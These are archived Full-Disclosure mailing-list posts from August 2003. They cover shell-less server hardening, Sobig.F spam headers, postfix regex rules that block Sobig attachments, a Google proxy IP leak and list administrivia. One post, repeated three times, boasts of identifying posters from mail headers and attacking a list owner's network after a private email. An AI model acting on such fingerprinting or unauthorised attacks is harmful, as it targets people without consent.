> then change the roots shell to /bin/false and and
> remove all working shells from the OS
> 
> to configure or modify things one would have to
> install boot hardware and then use other boot media
> containing a shell 
> 
> only problem is ...i dont know of anything service
> wise that requires little to no modification on a
> regular basis
> 
> firewall ...router ?...ftp server ?
> 
> k ...flame on 

Put firewall, router, ftp, etc. but just don't connect it to any
network, and you'll be safe.
Anyhow, how are you going to update the box remote, in case you need to
do ASAP if you can't even login into it??

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] SCADA providers say security not our problem

[Alan Kloster]

>Bernie wrote:
>I believe that like the HIPAA Security rules, regulations 
>should be established to set Security standards which the
>Power Utilities, as well as and Gas, Water should be held to 
>comply with. 

They have been trying to come up with a plan.  Unfortunately, it appears to lack any 
real teeth as far as compliance goes:

http://www.nerc.com/~filez/standards-cyber.html

Alan Kloster

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] funny things - SpamAssassin results

[morning_wood]

funny things... SpamAssassin results

1. spoof

80.179.152.112.forward.012.net.il (80.179.152.112)

Whois:

80.179.152.0 - 80.179.171.255
Please Send Abuse/SPAM complaints
To [EMAIL PROTECTED]
DNS REG
25 Hsivim st. Petach-Tiikva, Israel
[EMAIL PROTECTED]

2. path reveal

The uncleanable file details.pif is moved to /etc/iscan/virus/virZNvE0n

---
---

Return-Path: <[EMAIL PROTECTED]>
Received: (qmail 2425 invoked by uid 504); 21 Aug 2003 15:03:01 -
Received: from localhost (HELO iceman.incidents.org) (127.0.0.1)
  by 0 with SMTP; 21 Aug 2003 15:03:01 -
Received: (qmail 2164 invoked from network); 21 Aug 2003 15:02:30 -
Received: from 80.179.152.112.forward.012.net.il (HELO SKUNK)
(80.179.152.112)
  by 0 with SMTP; 21 Aug 2003 15:02:30 -
From: <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Date: Thu, 7 Jan 1999 14:20:55 +0200
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="_NextPart_000_0E151FE1"
X-Spam-Status: Yes, hits=8.0 required=6.5
tests=AWL,DATE_IN_PAST_96_XX,FORGED_MUA_OUTLOOK,
  MIME_BOUND_NEXTPART,MISSING_MIMEOLE,NO_REAL_NAME,
  RAZOR2_CHECK
version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)
X-Spam-Report:    Start SpamAssassin results
  8.00 points, 6.5 required;
  *  0.7 -- From: does not include a real name
  *  2.0 -- Listed in Razor2, see http://razor.sf.net/
  *  2.0 -- Date: is 96 hours or more before Received: date
  *  3.3 -- Forged mail pretending to be from MS Outlook
  *  0.5 -- Message has X-MSMail-Priority, but no X-MimeOLE
  *  0.4 -- Spam tool pattern in MIME boundary
  * -0.9 -- AWL: Auto-whitelist adjustment
   End of SpamAssassin results
X-Spam-Flag: YES
Subject: *SPAM* Your details

This is a multipart message in MIME format

--_NextPart_000_0E151FE1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

--  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file details.pif
The uncleanable file details.pif is moved to /etc/iscan/virus/virZNvE0n

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Idea

[Elvedin]

Well, if all shells are removed and roots and other users shell is changed
to /bin/false, you wont be able to install another shell. How would you
interface with the system? NO SHELL!

From: "Schmehl, Paul L" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 21, 2003 5:35 PM
Subject: RE: [Full-Disclosure] Idea


> OK.  Now you can't admin the box, including patching against
> vulnerabilities.  So, I get to root your box, install my own shell and
> deny you access from anywhere but the console.  Is this a honeypot idea?
>
> Paul Schmehl ([EMAIL PROTECTED])
> Adjunct Information Security Officer
> The University of Texas at Dallas
> AVIEN Founding Member
> http://www.utdallas.edu/~pauls/
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Shanphen Dawa]

#1

I know in sylpheed you can filter by some of the headers so a subject line is kind of 
redudant.

Looks like this:

List-Unsubscribe: ,

List-Id: Discussion of security issues 
List-Post: 
List-Help: 
List-Subscribe: ,

List-Archive: 


On Thu, 21 Aug 2003 10:43:02 -0700
Chris Cappuccio <[EMAIL PROTECTED]> wrote:

> Hey folks,
> 
> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 
> 
> The subject header is going to change.
> 
> This is a survey to see whether people want:
> 
> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> or
> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> or 
> 3. Do nothing
> 
> 1. The first choice is preferable for me and, I would hope, for most folks. 
> Len says he didn't really want it when he started the list anyways.  So we are
> actually going to change it now.
> 
> 2. Choice two may be preferable for people who can only filter their incoming
> messages based on the subject prefix.  So, if you WANT there to continue
> to be a subject prefix, SPEAK UP!!!
> 
> 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
> how many people want this.  This is the least preferrable as it clutters
> the Subject header and makes the list harder to read through for those of us
> using a text based e-mail client.
> 
> For those of you using procmail or a compatible filter, a good match
> for Full-Disclosure that relies on headers you will always see in
> list messages goes like this:
> 
> :0:
> * [EMAIL PROTECTED]
> full-disclosure
> 
> That matches this header:
> 
> Sender: [EMAIL PROTECTED]
> 
> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> to match on this header.
> 
> -- 
> Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Re: Popular Net anonymity service back-doored

[Aron Nimzovitch]

   Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm
   From: "Thomas C. Greene " <[EMAIL PROTECTED]>
   Organization: The Register

   Leaving a hint in the source and waiting for someone to call them on it may be 
   a legal strategem, but it's not a good way of maintaining user
   trust.

Only a fool would blindly depend on someone else's software to gain
anonymity without examining the code.  If you need anonymity, then you
should easily be willing to invest sweat equity, or have a contractual
arrangement when the threat is only financial.  For more serious
threats requiring anonymity, not reviewing the source when it is
available seems beyond stupid.  I could unserstand your ire if you
were one of our clients, but this was a free service wasn't it?

FAR

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Yannick Van Osselaer]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Thursday 21 August 2003 22:49, Joshua Vince wrote:
> #2 or #3.  How are we supposed to filter emails in our inbox w/o it??

You can always use List-Id (in the e-mail headers).
- -- 
Yannick Van Osselaer
Public Key: wwwkeys.us.pgp.net
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.2-rc1-SuSE (GNU/Linux)

iD8DBQE/RUO993+qyX+enAERAnAuAJ48aeW+LwBY7EFJ5Htae56QmTRn/wCbBkLk
5lObeFpJcHwxssh1+97yWIg=
=UClV
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [fd] RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Mike V]

Popfile would do a fine job.

http://popfile.sourceforge.net


- Original Message - 
From: "Joshua Vince" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 21, 2003 1:49 PM
Subject: [fd] RE: [Full-Disclosure] Subject prefix changing! READ THIS!
SURVEY!!


> #2 or #3.  How are we supposed to filter emails in our inbox w/o it??
>
> -Original Message-
> From: 8tImER [mailto:[EMAIL PROTECTED]
> Sent: Thursday, August 21, 2003 4:02 PM
> To: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Subject prefix changing! READ THIS!
> SURVEY!!
>
>
> My vote goes to choice #1. :]
>
> -- 
> Greetz,
>  8tImERmailto:[EMAIL PROTECTED]
>GPG Key-ID: 0xADD46137
>
> Originaltext:
> Am 21.08.2003 um 19:43:02 hast du geschrieben:
>
> > Hey folks,
>
> > ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
>
> > THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.
>
> > The subject header is going to change.
>
> > This is a survey to see whether people want:
>
> > 1. To have no subject prefix, that is, we remove [Full-Disclosure] or
> > 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> > or
> > 3. Do nothing
>
> > 1. The first choice is preferable for me and, I would hope, for most
> > folks. Len says he didn't really want it when he started the list
> > anyways.  So we are actually going to change it now.
>
> > 2. Choice two may be preferable for people who can only filter their
> > incoming messages based on the subject prefix.  So, if you WANT there
> > to continue to be a subject prefix, SPEAK UP!!!
>
> > 3. Choice three sucks and if anyone wants this SPEAK UP so we know
> > just how many people want this.  This is the least preferrable as it
> > clutters the Subject header and makes the list harder to read through
> > for those of us using a text based e-mail client.
>
> > For those of you using procmail or a compatible filter, a good match
> > for Full-Disclosure that relies on headers you will always see in list
>
> > messages goes like this:
>
> > :0:
> > * [EMAIL PROTECTED]
> > full-disclosure
>
> > That matches this header:
>
> > Sender: [EMAIL PROTECTED]
>
> > Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> > to match on this header.
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Re: Thanks for the hoax info.

[Schmehl, Paul L]

> -Original Message-
> From: martin f krafft [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 21, 2003 1:46 PM
> To: [EMAIL PROTECTED]
> Subject: [Full-Disclosure] Re: Thanks for the hoax info.
> 
> Why does noone release a virus that uses such a filename. 
> After all, everyone knows it'll just be a hoax...
>
Already done.  It's called "Recory.B".
http://www.f-secure.com/v-descs/recory.shtml

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/~pauls/ 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1052 - 29 msgs

[Leif Sawyer]

Fellow Alaskan Arthur Corliss responded to:
>> From: Chris Cappuccio whom exclaimed: 
>>
>> The subject header is going to change.
>>
>> This is a survey to see whether people want:
>>
>> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
>> or
>> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
>> or
>> 3. Do nothing
>>
> 
> For what it's worth, I vote for #3.  I don't really pay that 
> close attention to sender address, and having the prefix in the
> subject makes it really easy to identify list mail for direct
correspondence.
>  I suppose I could live with #2 if I had to.


In what is fast becoming a trend, I once again agree with Arthur an
astonishing 100%.


Heh.  Hey Art, heard you and Mike are having fun.  TTYL..



Leif


smime.p7s
Description: S/MIME cryptographic signature

Re: [Full-Disclosure] Re: Filtering sobig with postfix

[Irwan Hadi]

On Fri, Aug 22, 2003 at 08:43:45AM +1200, Bojan Zdrnja wrote:
> 
> /filename=.*(your_details|your_document|document_all).pif/ REJECT
> 
> You might want to reject all .pif files, and also:
> 
> /(Virus found|VIRUS ALERT)/ DISCARD
> 
> 
> To discard all those messages originating from improperly configured MTA's,
> which were able to detect Sobig-F, but which still send notification to
> faked from: address.
> 
> After you edit that file just issue:
> 
> # /usr/sbin/postmap /etc/postfix/header_checks
> 

you don't need to postmap the header checks file, because you are using
regexp.
You *only* need to postmap it, if you use hash:, dbm: or btree:

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [inbox] Re: Fwd: Re: [Full-Disclosure] Administrivia: Binary Executables w/o Source

[Jason Coombs]

Nick FitzGerald came to his senses and removed me from the pedestal he had
placed me on, and then launched into a well-written barrage of fact, beginning
thus:
>> I agree completely. The sobig spam is valuable -- it shows us who we
>> should not trust to operate a computer.
>_If_ you know what to take from the headers _AND_ have omniscient
>access to the mythical IP-to-user mapping address list...

Ah, but Nick, I *DO* have omniscient access to the non-mythical IP-to-user
mapping list -- and so do you. How many FD subscribers post to the list from
the ISP "NetZero/United Online/untd.com" out of Honolulu, Hawaii? I can assure
you that I am the only one.

Received: from smtp04.lax.untd.com (outbound28-2.lax.untd.com [64.136.28.160])
by netsys.com (8.11.6p2/8.11.6) with SMTP id h7KJJA401175
for <[EMAIL PROTECTED]>; Wed, 20 Aug 2003 15:19:10 -0400 (EDT)
Received: from dialup-67.30.168.213.dial1.honolulu1.level3.net (HELO win2kdev)
(67.30.168.213)
  by smtp04.lax.untd.com with SMTP; 20 Aug 2003 19:19:08 -

Likewise, you are quite possibly the only person who posts from CLEAR Net
Mail, New Zealand. At least while using your mobile device...

From: Nick FitzGerald <[EMAIL PROTECTED]>
Received: from smtp2.clear.net.nz (smtp2.clear.net.nz [203.97.37.27])
by netsys.com (8.11.6p2/8.11.6) with ESMTP id h7LDigC13293
for <[EMAIL PROTECTED]>; Thu, 21 Aug 2003 09:44:42 -0400 (EDT)
Received: from mobilenick (218-101-96-116.dialup.clear.net.nz
[218.101.96.116])
 by smtp2.clear.net.nz (CLEAR Net Mail)
 with ESMTP id <[EMAIL PROTECTED]> for
 [EMAIL PROTECTED]; Fri, 22 Aug 2003 01:44:41 +1200 (NZST)

I appreciate your attention to detail, but the relevant detail you missed was
my conclusion, a witty challenge to Len Rose to stop concealing the truth and
give us full disclosure:

> it's the least he could do after intentionally covering
> up for these people.

Humor was the detail you missed, and a strict interpretation of the empirical
evidence of the design of SoBig just wasn't very funny.

I did get a private "Hah!" e-mail out of Len, which revealed to me the IP
address, OS, mail transfer agent and patch level, and mail user agent he was
using at the time, which allowed me to launch an attack against his computer
and its surrounding network, which turned out to be the same network used by
the FD server itself. I noted that the patch level of my ISP's mail transfer
agent is lower than that of FD's and I was appropriately humbled.

Return-Path: <[EMAIL PROTECTED]>
by helsinki.west-network.net (8.11.6/8.11.6) with ESMTP id h7KLIox30956
for <[EMAIL PROTECTED]>; Wed, 20 Aug 2003 17:18:50 -0400
Received: (from [EMAIL PROTECTED])
by netsys.com (8.11.6p2/8.11.6) id h7KLDU105559
for [EMAIL PROTECTED]; Wed, 20 Aug 2003 17:13:30 -0400 (EDT)
Date: Wed, 20 Aug 2003 17:13:26 -0400
User-Agent: Mutt/1.4i

Thor Larholm then came up with a very good idea to post a Web-based
full-disclosure archive of everything received not just everything that ends
up distributed to the list. The potential forensic value of Thor's suggestion
is staggering.

Thor Larholm wrote:
> In that case, I would prefer if Len put up an archive of all the virus
> mails sent to FD so everybody on the list could have fun analyzing it.
> Couple it with the archives of normal posts and some regging+grep'ing
> you will be bound to find correlations between posting IP addresses.

Nick, I truly did not deserve to be on your pedestal, anyway, so this has all
been very constructive.

It's important that we remember to laugh a little, especially at ourselves.

The funniest thing I've seen in a long time is the direct relationship between
Symantec's stock price (SYMC) and the release of successful worms/virii...
Antivirus software vendors may not be paying the authors of malware directly,
but it sure looks like a good business to write and release malware in order
to manipulate the market price of certain A/V vendors' stock. You gotta love
the free market...

Sincerely,

Jason Coombs
[EMAIL PROTECTED]

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of Nick
FitzGerald
Sent: Thursday, August 21, 2003 3:45 AM
To: [EMAIL PROTECTED]
Subject: RE: [inbox] Re: Fwd: Re: [Full-Disclosure] Administrivia:
Binary Executables w/o Source


"Jason Coombs" <[EMAIL PROTECTED]>, whose input is usually
intelligent, considered and well-reasoned, chose to fall from his
pedestal thus:

...

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [inbox] Re: Fwd: Re: [Full-Disclosure] Administrivia: Binary Executables w/o Source

[Jason Coombs]

Nick FitzGerald came to his senses and removed me from the pedestal he had
placed me on, and then launched into a well-written barrage of fact, beginning
thus:
>> I agree completely. The sobig spam is valuable -- it shows us who we
>> should not trust to operate a computer.
>_If_ you know what to take from the headers _AND_ have omniscient
>access to the mythical IP-to-user mapping address list...

Ah, but Nick, I *DO* have omniscient access to the non-mythical IP-to-user
mapping list -- and so do you. How many FD subscribers post to the list from
the ISP "NetZero/United Online/untd.com" out of Honolulu, Hawaii? I can assure
you that I am the only one.

Received: from smtp04.lax.untd.com (outbound28-2.lax.untd.com [64.136.28.160])
by netsys.com (8.11.6p2/8.11.6) with SMTP id h7KJJA401175
for <[EMAIL PROTECTED]>; Wed, 20 Aug 2003 15:19:10 -0400 (EDT)
Received: from dialup-67.30.168.213.dial1.honolulu1.level3.net (HELO win2kdev)
(67.30.168.213)
  by smtp04.lax.untd.com with SMTP; 20 Aug 2003 19:19:08 -

Likewise, you are quite possibly the only person who posts from CLEAR Net
Mail, New Zealand. At least while using your mobile device...

From: Nick FitzGerald <[EMAIL PROTECTED]>
Received: from smtp2.clear.net.nz (smtp2.clear.net.nz [203.97.37.27])
by netsys.com (8.11.6p2/8.11.6) with ESMTP id h7LDigC13293
for <[EMAIL PROTECTED]>; Thu, 21 Aug 2003 09:44:42 -0400 (EDT)
Received: from mobilenick (218-101-96-116.dialup.clear.net.nz
[218.101.96.116])
 by smtp2.clear.net.nz (CLEAR Net Mail)
 with ESMTP id <[EMAIL PROTECTED]> for
 [EMAIL PROTECTED]; Fri, 22 Aug 2003 01:44:41 +1200 (NZST)

I appreciate your attention to detail, but the relevant detail you missed was
my conclusion, a witty challenge to Len Rose to stop concealing the truth and
give us full disclosure:

> it's the least he could do after intentionally covering
> up for these people.

Humor was the detail you missed, and a strict interpretation of the empirical
evidence of the design of SoBig just wasn't very funny.

I did get a private "Hah!" e-mail out of Len, which revealed to me the IP
address, OS, mail transfer agent and patch level, and mail user agent he was
using at the time, which allowed me to launch an attack against his computer
and its surrounding network, which turned out to be the same network used by
the FD server itself. I noted that the patch level of my ISP's mail transfer
agent is lower than that of FD's and I was appropriately humbled.

Return-Path: <[EMAIL PROTECTED]>
by helsinki.west-network.net (8.11.6/8.11.6) with ESMTP id h7KLIox30956
for <[EMAIL PROTECTED]>; Wed, 20 Aug 2003 17:18:50 -0400
Received: (from [EMAIL PROTECTED])
by netsys.com (8.11.6p2/8.11.6) id h7KLDU105559
for [EMAIL PROTECTED]; Wed, 20 Aug 2003 17:13:30 -0400 (EDT)
Date: Wed, 20 Aug 2003 17:13:26 -0400
User-Agent: Mutt/1.4i

Thor Larholm then came up with a very good idea to post a Web-based
full-disclosure archive of everything received not just everything that ends
up distributed to the list. The potential forensic value of Thor's suggestion
is staggering.

Thor Larholm wrote:
> In that case, I would prefer if Len put up an archive of all the virus
> mails sent to FD so everybody on the list could have fun analyzing it.
> Couple it with the archives of normal posts and some regging+grep'ing
> you will be bound to find correlations between posting IP addresses.

Nick, I truly did not deserve to be on your pedestal, anyway, so this has all
been very constructive.

It's important that we remember to laugh a little, especially at ourselves.

The funniest thing I've seen in a long time is the direct relationship between
Symantec's stock price (SYMC) and the release of successful worms/virii...
Antivirus software vendors may not be paying the authors of malware directly,
but it sure looks like a good business to write and release malware in order
to manipulate the market price of certain A/V vendors' stock. You gotta love
the free market...

Sincerely,

Jason Coombs
[EMAIL PROTECTED]

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of Nick
FitzGerald
Sent: Thursday, August 21, 2003 3:45 AM
To: [EMAIL PROTECTED]
Subject: RE: [inbox] Re: Fwd: Re: [Full-Disclosure] Administrivia:
Binary Executables w/o Source


"Jason Coombs" <[EMAIL PROTECTED]>, whose input is usually
intelligent, considered and well-reasoned, chose to fall from his
pedestal thus:

...

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Idea

[Schmehl, Paul L]

> -Original Message-
> From: D B [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 21, 2003 1:12 PM
> To: [EMAIL PROTECTED]
> Subject: [Full-Disclosure] Idea
> 
> 
> i have always had an idea but never any place to
> try it
> 
And you hope to accomplish - what - exactly?

> i would like people with experience to tell me what
> they  think of it
> 
> assuming a  unix / linux operating system as a server
> 
> install the services  get them configured
> ...remove all booting hardware except the drive 
> then change the roots shell to /bin/false and and
> remove all working shells from the OS
> 
OK.  Now you can't admin the box, including patching against
vulnerabilities.  So, I get to root your box, install my own shell and
deny you access from anywhere but the console.  Is this a honeypot idea?

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/~pauls/ 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Schmehl, Paul L]

> -Original Message-
> From: Joshua Vince [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 21, 2003 3:49 PM
> To: [EMAIL PROTECTED]
> Subject: RE: [Full-Disclosure] Subject prefix changing! READ 
> THIS! SURVEY!!
> 
> 
> #2 or #3.  How are we supposed to filter emails in our inbox w/o it??

Have you never heard of email headers??  You can take your choice of
about 15 different lines to filter on.  If your email client doesn't
allow that, try a different client or use a pre-filtering program.

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/~pauls/ 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Idea

[Steven Alexander]

> only problem is ...i dont know of anything service
> wise that requires little to no modification on a
> regular basis
> 

Getting rid of the shell would break any call to system() in any
program.  

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] JAP back doored

[Valdis . Kletnieks]

On Thu, 21 Aug 2003 11:42:43 PDT, Drew Copley <[EMAIL PROTECTED]>  said:

> Or, do they believe they are superior to other countries, and they may
> invade at will?

That's the US's job, isn't it? ;)


pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[Servicios de Seguridad Informatica]

El Jue 21 Ago 2003 16:23, Nicolas Cartron escribió:
> On 22/08/03 at 00:40, Gaurav Kumar ([EMAIL PROTECTED]) wrote :
> > Hello friends!
> >
> > I have found private ip address used by google servers. here are the
> > details.
> > [...]
> > This 10.7.0.73 is google private ip address.

has anyone know how this site know my private address?

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[Bojan Zdrnja]

Title: Message



Excuse 
my ignorance, but what's the point of this?
 
If you 
read that page, you'll see that they use proxy.google.com, which adds 
X-Forwarded-For header, so that's how you got internal IP address, but I don't 
really see any use of this.
 
So 
what, everyone knows they are using *INTERNAL* IPs on their *INTERNAL* 
network.
 
You'll 
also see that IP changes with time, what is obvious as they probably have a 
server farm.
 
Regards,
 
Bojan 
Zdrnja

  
  -Original Message-From: 
  [EMAIL PROTECTED] 
  [mailto:[EMAIL PROTECTED] On Behalf Of Gaurav 
  KumarSent: Friday, 22 August 2003 7:11 a.m.To: 
  [EMAIL PROTECTED]Subject: [Full-Disclosure] Google 
  Private IP is 10.7.0.73 !!
  -BEGIN PGP SIGNED MESSAGE-Hash: 
  SHA1
   
  Hello friends!
   
  I have found private ip address used by google 
  servers. here are thedetails.
   
  make sure you have google toolbar 
  installed.
   
  1. go to www.showmyip.com2. it will show your ip 
  address.3. now right click and select Translate Page4. it will now 
  show your ip address in this format 1.2.3.4, unknown5. Now again right 
  click and select Translate Page6. this time you will get google private ip 
  address. the format is10.7.0.73,1.2.3.4,unknown
   
  This 10.7.0.73 is google private ip 
  address.
   
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Gaurav KumarChief 
  Information Security Analyst
   
  E2 Labs Information Security Pvt. Ltd.Road 
  no. 3 , Banjara HillsHyderbad-34APIndia
   
  [EMAIL PROTECTED]www.e2-labs.com
   
  PGP public key at-http://mycgiserver.com/~ethicalhackers/pgp.txt
   
  Phone(s)-Mobile    +91 40 
  31068650Tele/Fax +91 40 23555942 
  (ext-24)=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   
  -BEGIN PGP SIGNATURE-Version: 
  PGPfreeware 7.0.3 for non-commercial use 
   
  iQA/AwUBP0UZKP7pOx+pP+hiEQK3mACdFKQE1ZW8ugMpxgOdjpaMYRayI6UAoOEBnoQh/WR3ZZz2L2CR0ZxzbNls=iryU-END 
  PGP SIGNATURE-

[Full-Disclosure] Re: Google Private IP is 10.7.0.73 !!!!!!

[martin f krafft]

also sprach Nicolas Cartron <[EMAIL PROTECTED]> [2003.08.21.2223 +0200]:
> > This 10.7.0.73 is google private ip address. 
> 
> Ouah ! 
> Exciting ! 

Yeah, especially because google is served by a single server. and
no, i doubt they employ virtual IP load balancing.

-- 
martin;  (greetings from the heart of the sun.)
  \ echo mailto: !#^."<*>"|tr "<*> mailto:"; [EMAIL PROTECTED]
 
invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver!
 
"i can stand brute force, but brute reason is quite unbearable. there
 is something unfair about its use. it is hitting below the
 intellect."
-- oscar wilde


pgp0.pgp
Description: PGP signature

RE: [inbox] Re: Fwd: Re: [Full-Disclosure] Administrivia: Binary Executables w/o Source

[Jason Coombs]

Nick FitzGerald came to his senses and removed me from the pedestal he had
placed me on, and then launched into a well-written barrage of fact, beginning
thus:
>> I agree completely. The sobig spam is valuable -- it shows us who we
>> should not trust to operate a computer.
>_If_ you know what to take from the headers _AND_ have omniscient
>access to the mythical IP-to-user mapping address list...

Ah, but Nick, I *DO* have omniscient access to the non-mythical IP-to-user
mapping list -- and so do you. How many FD subscribers post to the list from
the ISP "NetZero/United Online/untd.com" out of Honolulu, Hawaii? I can assure
you that I am the only one.

Received: from smtp04.lax.untd.com (outbound28-2.lax.untd.com [64.136.28.160])
by netsys.com (8.11.6p2/8.11.6) with SMTP id h7KJJA401175
for <[EMAIL PROTECTED]>; Wed, 20 Aug 2003 15:19:10 -0400 (EDT)
Received: from dialup-67.30.168.213.dial1.honolulu1.level3.net (HELO win2kdev)
(67.30.168.213)
  by smtp04.lax.untd.com with SMTP; 20 Aug 2003 19:19:08 -

Likewise, you are quite possibly the only person who posts from CLEAR Net
Mail, New Zealand. At least while using your mobile device...

From: Nick FitzGerald <[EMAIL PROTECTED]>
Received: from smtp2.clear.net.nz (smtp2.clear.net.nz [203.97.37.27])
by netsys.com (8.11.6p2/8.11.6) with ESMTP id h7LDigC13293
for <[EMAIL PROTECTED]>; Thu, 21 Aug 2003 09:44:42 -0400 (EDT)
Received: from mobilenick (218-101-96-116.dialup.clear.net.nz
[218.101.96.116])
 by smtp2.clear.net.nz (CLEAR Net Mail)
 with ESMTP id <[EMAIL PROTECTED]> for
 [EMAIL PROTECTED]; Fri, 22 Aug 2003 01:44:41 +1200 (NZST)

I appreciate your attention to detail, but the relevant detail you missed was
my conclusion, a witty challenge to Len Rose to stop concealing the truth and
give us full disclosure:

> it's the least he could do after intentionally covering
> up for these people.

Humor was the detail you missed, and a strict interpretation of the empirical
evidence of the design of SoBig just wasn't very funny.

I did get a private "Hah!" e-mail out of Len, which revealed to me the IP
address, OS, mail transfer agent and patch level, and mail user agent he was
using at the time, which allowed me to launch an attack against his computer
and its surrounding network, which turned out to be the same network used by
the FD server itself. I noted that the patch level of my ISP's mail transfer
agent is lower than that of FD's and I was appropriately humbled.

Return-Path: <[EMAIL PROTECTED]>
by helsinki.west-network.net (8.11.6/8.11.6) with ESMTP id h7KLIox30956
for <[EMAIL PROTECTED]>; Wed, 20 Aug 2003 17:18:50 -0400
Received: (from [EMAIL PROTECTED])
by netsys.com (8.11.6p2/8.11.6) id h7KLDU105559
for [EMAIL PROTECTED]; Wed, 20 Aug 2003 17:13:30 -0400 (EDT)
Date: Wed, 20 Aug 2003 17:13:26 -0400
User-Agent: Mutt/1.4i

Thor Larholm then came up with a very good idea to post a Web-based
full-disclosure archive of everything received not just everything that ends
up distributed to the list. The potential forensic value of Thor's suggestion
is staggering.

Thor Larholm wrote:
> In that case, I would prefer if Len put up an archive of all the virus
> mails sent to FD so everybody on the list could have fun analyzing it.
> Couple it with the archives of normal posts and some regging+grep'ing
> you will be bound to find correlations between posting IP addresses.

Nick, I truly did not deserve to be on your pedestal, anyway, so this has all
been very constructive.

It's important that we remember to laugh a little, especially at ourselves.

The funniest thing I've seen in a long time is the direct relationship between
Symantec's stock price (SYMC) and the release of successful worms/virii...
Antivirus software vendors may not be paying the authors of malware directly,
but it sure looks like a good business to write and release malware in order
to manipulate the market price of certain A/V vendors' stock. You gotta love
the free market...

Sincerely,

Jason Coombs
[EMAIL PROTECTED]

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of Nick
FitzGerald
Sent: Thursday, August 21, 2003 3:45 AM
To: [EMAIL PROTECTED]
